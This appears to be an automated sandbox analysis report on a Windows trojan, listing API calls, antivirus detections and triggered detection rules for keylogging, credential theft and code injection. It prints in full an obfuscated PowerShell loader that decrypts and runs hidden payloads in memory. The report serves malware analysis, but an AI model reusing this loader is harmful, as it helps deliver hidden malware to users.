allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f21000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f22000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f23000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2924
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f24000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\Uzlrz_SC.bat
MicroWorld-eScan Trojan.GenericKD.67626606
FireEye Trojan.GenericKD.67626606
Arcabit Trojan.Generic.D407E66E
BitDefender Trojan.GenericKD.67626606
Emsisoft Trojan.GenericKD.67626606 (B)
MAX malware (ai score=82)
Microsoft Trojan:Win32/Casdet!rfn
GData Trojan.GenericKD.67626606
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description Create a windows service rule Create_Service
description Communication using DGA rule Network_DGA
description Communications over RAW Socket rule Network_TCP_Socket
description Communications use DNS rule Network_DNS
description Steal credential rule local_credential_Steal
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description Communications over HTTP rule Network_HTTP
description PWS Memory rule Generic_PWS_Memory_Zero
description Record Audio rule Sniff_Audio
description Match Windows Http API call rule Str_Win32_Http_API
description Match Windows Inet API call rule Str_Win32_Internet_API
description Take ScreenShot rule ScreenShot
description Escalate priviledges rule Escalate_priviledges
description Communications over P2P network rule Network_P2P_Win
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__ConsoleCtrl
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description (no description) rule Check_Dlls
description Checks if being debugged rule anti_dbg
description Anti-Sandbox checks for ThreatExpert rule antisb_threatExpert
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
description Communications over FTP rule Network_FTP
description Run a KeyLogger rule KeyLogger
description File Downloader rule Network_Downloader
description Create a windows service rule Create_Service
description Communication using DGA rule Network_DGA
description Communications over RAW Socket rule Network_TCP_Socket
description Communications use DNS rule Network_DNS
description Steal credential rule local_credential_Steal
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description Communications over HTTP rule Network_HTTP
description PWS Memory rule Generic_PWS_Memory_Zero
description Record Audio rule Sniff_Audio
description Match Windows Http API call rule Str_Win32_Http_API
description Match Windows Inet API call rule Str_Win32_Internet_API
description Take ScreenShot rule ScreenShot
description Escalate priviledges rule Escalate_priviledges
description Communications over P2P network rule Network_P2P_Win
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
cmdline C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\Uzlrz_SC.bat
cmdline "C:\Users\test22\AppData\Local\Temp\Uzlrz_SC.bat.exe" -w hidden -c $sXoe='RerwlVadLrwlVinrwlVesrwlV'.Replace('rwlV', '');$KaIy='LoarwlVdrwlV'.Replace('rwlV', '');$onqo='MainrwlVMrwlVodrwlVulerwlV'.Replace('rwlV', '');$KLcx='ErwlVntrwlVrrwlVyPrwlVoirwlVntrwlV'.Replace('rwlV', '');$NmCP='ChrwlVangerwlVExrwlVterwlVnsirwlVonrwlV'.Replace('rwlV', '');$jpXv='TrrwlVansrwlVforrwlVmFrwlVirwlVnrwlValBrwlVlorwlVcrwlVkrwlV'.Replace('rwlV', '');$Nlmp='FrrwlVomrwlVBrwlVarwlVserwlV64SrwlVtrirwlVnrwlVgrwlV'.Replace('rwlV', '');$IcUZ='SplrwlVitrwlV'.Replace('rwlV', '');$eKgM='IrwlVnrwlVvorwlVkerwlV'.Replace('rwlV', '');$SUjx='CrwlVrearwlVtrwlVeDrwlVecrrwlVyptrwlVorwlVrrwlV'.Replace('rwlV', '');$owoP='GerwlVtrwlVCrwlVurrrwlVenrwlVtPrrwlVocerwlVssrwlV'.Replace('rwlV', '');$Dtpc='ElerwlVmenrwlVtArwlVtrwlV'.Replace('rwlV', '');function OiDfk($keSfh){$reuLO=[System.Security.Cryptography.Aes]::Create();$reuLO.Mode=[System.Security.Cryptography.CipherMode]::CBC;$reuLO.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$reuLO.Key=[System.Convert]::$Nlmp('X34De+rRqYNTzCDjE5BRuwqEn5fBK2YeaJRW5VUWpOY=');$reuLO.IV=[System.Convert]::$Nlmp('4umJ7MRNH2/L2CHuH0lqMQ==');$dfErF=$reuLO.$SUjx();$EKKSK=$dfErF.$jpXv($keSfh,0,$keSfh.Length);$dfErF.Dispose();$reuLO.Dispose();$EKKSK;}function elXrX($keSfh){$tAeHV=New-Object System.IO.MemoryStream(,$keSfh);$ERjwk=New-Object System.IO.MemoryStream;$dXDEj=New-Object System.IO.Compression.GZipStream($tAeHV,[IO.Compression.CompressionMode]::Decompress);$dXDEj.CopyTo($ERjwk);$dXDEj.Dispose();$tAeHV.Dispose();$ERjwk.Dispose();$ERjwk.ToArray();}$bfNFF=[System.Linq.Enumerable]::$Dtpc([System.IO.File]::$sXoe([System.IO.Path]::$NmCP([System.Diagnostics.Process]::$owoP().$onqo.FileName, $null)), 1);$OhhoA=$bfNFF.Substring(2).$IcUZ(':');$YalwE=elXrX (OiDfk ([Convert]::$Nlmp($OhhoA[0])));$xFGRa=elXrX (OiDfk ([Convert]::$Nlmp($OhhoA[1])));[System.Reflection.Assembly]::$KaIy([byte[]]$xFGRa).$KLcx.$eKgM($null,$null);[System.Reflection.Assembly]::$KaIy([byte[]]$YalwE).$KLcx.$eKgM($null,$null);
Process injection Process 2708 resumed a thread in remote process 2832
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000088
suspend_count: 0
process_identifier: 2832
1 0 0